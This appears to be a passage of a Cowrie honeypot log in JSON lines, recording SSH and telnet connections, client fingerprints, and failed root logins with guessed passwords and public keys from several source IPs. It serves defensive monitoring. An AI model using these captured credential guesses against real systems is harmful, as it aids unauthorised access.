{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:26.873523Z","src_ip":"185.236.22.41","session":"fcdc6e9e96da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54366,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad02c57801d","protocol":"telnet","message":"New connection: 192.119.13.58:54366 (10.17.0.5:23) [session: 4ad02c57801d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:29.275479Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57484,"dst_ip":"10.17.0.5","dst_port":23,"session":"699b8ef66d9b","protocol":"telnet","message":"New connection: 192.119.13.58:57484 (10.17.0.5:23) [session: 699b8ef66d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:07.950128Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":51824,"dst_ip":"159.203.135.109","dst_port":22,"session":"f696e964f065","protocol":"ssh","message":"New connection: 163.227.230.54:51824 (159.203.135.109:22) [session: f696e964f065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:10.564954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:10.569286Z","src_ip":"163.227.230.54","session":"f696e964f065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:10.812831Z","src_ip":"163.227.230.54","session":"f696e964f065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.82838535308838,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:11.103720Z","src_ip":"192.119.13.58","session":"4ad02c57801d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zav","message":"login attempt [root/zav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:11.823320Z","src_ip":"163.227.230.54","session":"f696e964f065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:13.070289Z","src_ip":"163.227.230.54","session":"f696e964f065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":33176,"dst_ip":"10.17.0.5","dst_port":22,"session":"3972b6d3d8f1","protocol":"ssh","message":"New connection: 194.113.233.25:33176 (10.17.0.5:22) [session: 3972b6d3d8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:32.654334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:32.663026Z","src_ip":"194.113.233.25","session":"3972b6d3d8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:32.758180Z","src_ip":"194.113.233.25","session":"3972b6d3d8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:33.036483Z","src_ip":"194.113.233.25","session":"3972b6d3d8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:34.132507Z","src_ip":"194.113.233.25","session":"3972b6d3d8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37420,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdcb85cbae21","protocol":"telnet","message":"New connection: 192.119.13.58:37420 (10.17.0.5:23) [session: cdcb85cbae21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:42.235932Z"}
{"eventid":"cowrie.session.closed","duration":40.8459951877594,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:48.796005Z","src_ip":"192.119.13.58","session":"699b8ef66d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":43022,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c98921fc9a","protocol":"ssh","message":"New connection: 104.194.9.81:43022 (10.17.0.5:22) [session: 54c98921fc9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.766646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.771846Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.778409Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:3d:f6:00:b2:1a:5a:20:03:28:9a:21:91:cd:b8:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsTywN7+Mf6PP2+yt5EQkdXka1Z8TWLb/NNbu69JwEQPp15k3uD9REAyNofAGf3opchonQKjmh6Mv5xtFxu2AiFi8CkS0hdK3vqEVtRe9OEdmUx0iibWp0V+3T7yn733uJAbBSmtig1Beg0qixNW5hkvtWNOA41loHdUI+bsC8/CHcWeFKEgRwphA5KONOGxa7tdq+wvLktOfshLKp8hTWmZ9mKzBAGLIJCPEPHeqUs2MB8JbIolD421pEmxzfd30CCRyJghRP7dvyFIQxF4/JpNSt6bzxUL06HeaaZxu2EoLfA/MzqALu75UpcIsZZem+6Wa3hlU3bfeKClRnLycN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:3d:f6:00:b2:1a:5a:20:03:28:9a:21:91:cd:b8:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.802052Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:3d:f6:00:b2:1a:5a:20:03:28:9a:21:91:cd:b8:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsTywN7+Mf6PP2+yt5EQkdXka1Z8TWLb/NNbu69JwEQPp15k3uD9REAyNofAGf3opchonQKjmh6Mv5xtFxu2AiFi8CkS0hdK3vqEVtRe9OEdmUx0iibWp0V+3T7yn733uJAbBSmtig1Beg0qixNW5hkvtWNOA41loHdUI+bsC8/CHcWeFKEgRwphA5KONOGxa7tdq+wvLktOfshLKp8hTWmZ9mKzBAGLIJCPEPHeqUs2MB8JbIolD421pEmxzfd30CCRyJghRP7dvyFIQxF4/JpNSt6bzxUL06HeaaZxu2EoLfA/MzqALu75UpcIsZZem+6Wa3hlU3bfeKClRnLycN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.806522Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:32:6b:f9:29:82:bc:c7:a1:84:5e:3e:19:4d:9b:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+vMdic4zyxEokrKtVq/TUZ6fRNOt1VpKMSNqkxZEPr","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 01:32:6b:f9:29:82:bc:c7:a1:84:5e:3e:19:4d:9b:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.814217Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:32:6b:f9:29:82:bc:c7:a1:84:5e:3e:19:4d:9b:27","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL+vMdic4zyxEokrKtVq/TUZ6fRNOt1VpKMSNqkxZEPr","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.817686Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:c9:69:4b:30:97:a7:59:da:5a:ef:84:6e:69:42:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2lNnwGS77Yq3lgYhncEqqikwexd9MABq6VfA2LFQSp2+v+Jm0Buo+Tg0WkV57YrykI5kMZ8YdlchZOogrw4PJ0mNtPrSXrR5iuiTr6s+FAPtNmK24LIWlNWigK71++rp8n05Q8EsPtBIWQGuGEKTNMuypoWn1YTwoOyhqV5jlFVw8LlUmF2RbHIrro9EqOMAfRui3ne78fSNolL2KzP94zyUnisRm+4avj8fbXlHrJRKCS58ubURPrxWHfmmlIkpXAzr1BUyZpl3wrjuTsXvZbEnloqgIBKUjYmTRZEvoHT5d7hE23YEITOYt/sxF0/H7kgGgPoKUlDqef5Utvth7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:c9:69:4b:30:97:a7:59:da:5a:ef:84:6e:69:42:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.824435Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:c9:69:4b:30:97:a7:59:da:5a:ef:84:6e:69:42:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2lNnwGS77Yq3lgYhncEqqikwexd9MABq6VfA2LFQSp2+v+Jm0Buo+Tg0WkV57YrykI5kMZ8YdlchZOogrw4PJ0mNtPrSXrR5iuiTr6s+FAPtNmK24LIWlNWigK71++rp8n05Q8EsPtBIWQGuGEKTNMuypoWn1YTwoOyhqV5jlFVw8LlUmF2RbHIrro9EqOMAfRui3ne78fSNolL2KzP94zyUnisRm+4avj8fbXlHrJRKCS58ubURPrxWHfmmlIkpXAzr1BUyZpl3wrjuTsXvZbEnloqgIBKUjYmTRZEvoHT5d7hE23YEITOYt/sxF0/H7kgGgPoKUlDqef5Utvth7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.826934Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:30:e1:78:1a:3d:bd:58:d9:87:e8:6e:b2:bf:03:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ONeOdDw2E32nPJKnt7FIlYTWVy4AGIZiEsxxt7h7z+2w2COkzbSPCsw437wHi/KYEqBj09xIBl+/ypaLoMiQefD8vGhuHwZvmBD6g2SYHi3dQqQxC98FbMNT3sjxeDBL0m6lGgtT2YtmNX+nB/1RASTpB0cIG8Id4hFTDYbd/E9TumbH3HCEdOIZ17W+roIcbO+LGCCrMd8FV/PGsLrb0zBzRvdlSIoCV40otSoF66IbPnW1tbSTRpwEnaNM5b/qPZtPRG+rURcuL002otYPq0cDjidOuBo/6Y68/GIRpC2n9dT5Uzt4fRIKGkAnfdI3NdjdDVqUHpKUWt+6eQe5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:30:e1:78:1a:3d:bd:58:d9:87:e8:6e:b2:bf:03:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.835422Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:30:e1:78:1a:3d:bd:58:d9:87:e8:6e:b2:bf:03:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6ONeOdDw2E32nPJKnt7FIlYTWVy4AGIZiEsxxt7h7z+2w2COkzbSPCsw437wHi/KYEqBj09xIBl+/ypaLoMiQefD8vGhuHwZvmBD6g2SYHi3dQqQxC98FbMNT3sjxeDBL0m6lGgtT2YtmNX+nB/1RASTpB0cIG8Id4hFTDYbd/E9TumbH3HCEdOIZ17W+roIcbO+LGCCrMd8FV/PGsLrb0zBzRvdlSIoCV40otSoF66IbPnW1tbSTRpwEnaNM5b/qPZtPRG+rURcuL002otYPq0cDjidOuBo/6Y68/GIRpC2n9dT5Uzt4fRIKGkAnfdI3NdjdDVqUHpKUWt+6eQe5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.839851Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:6c:fb:d8:fa:6c:c9:57:88:32:54:fa:91:cd:35:ed","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBlMixLAycuvAQJyza8Zo19QUd2/kuwLpF8zqckNWBb3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ce:6c:fb:d8:fa:6c:c9:57:88:32:54:fa:91:cd:35:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.849961Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:6c:fb:d8:fa:6c:c9:57:88:32:54:fa:91:cd:35:ed","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBlMixLAycuvAQJyza8Zo19QUd2/kuwLpF8zqckNWBb3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.852570Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:14:51.859310Z","src_ip":"104.194.9.81","session":"54c98921fc9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38920,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2adbfdbbed4","protocol":"ssh","message":"New connection: 147.45.197.250:38920 (10.17.0.5:22) [session: d2adbfdbbed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:18.049240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:18.055484Z","src_ip":"147.45.197.250","session":"d2adbfdbbed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:18.145628Z","src_ip":"147.45.197.250","session":"d2adbfdbbed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kifj9n7bfu","message":"login attempt [root/kifj9n7bfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:18.416406Z","src_ip":"147.45.197.250","session":"d2adbfdbbed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:19.508507Z","src_ip":"147.45.197.250","session":"d2adbfdbbed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.540480852127075,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:19.776290Z","src_ip":"192.119.13.58","session":"cdcb85cbae21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":32834,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f3d553dcb4","protocol":"ssh","message":"New connection: 194.120.230.72:32834 (10.17.0.5:22) [session: e4f3d553dcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:19.813511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:19.818802Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 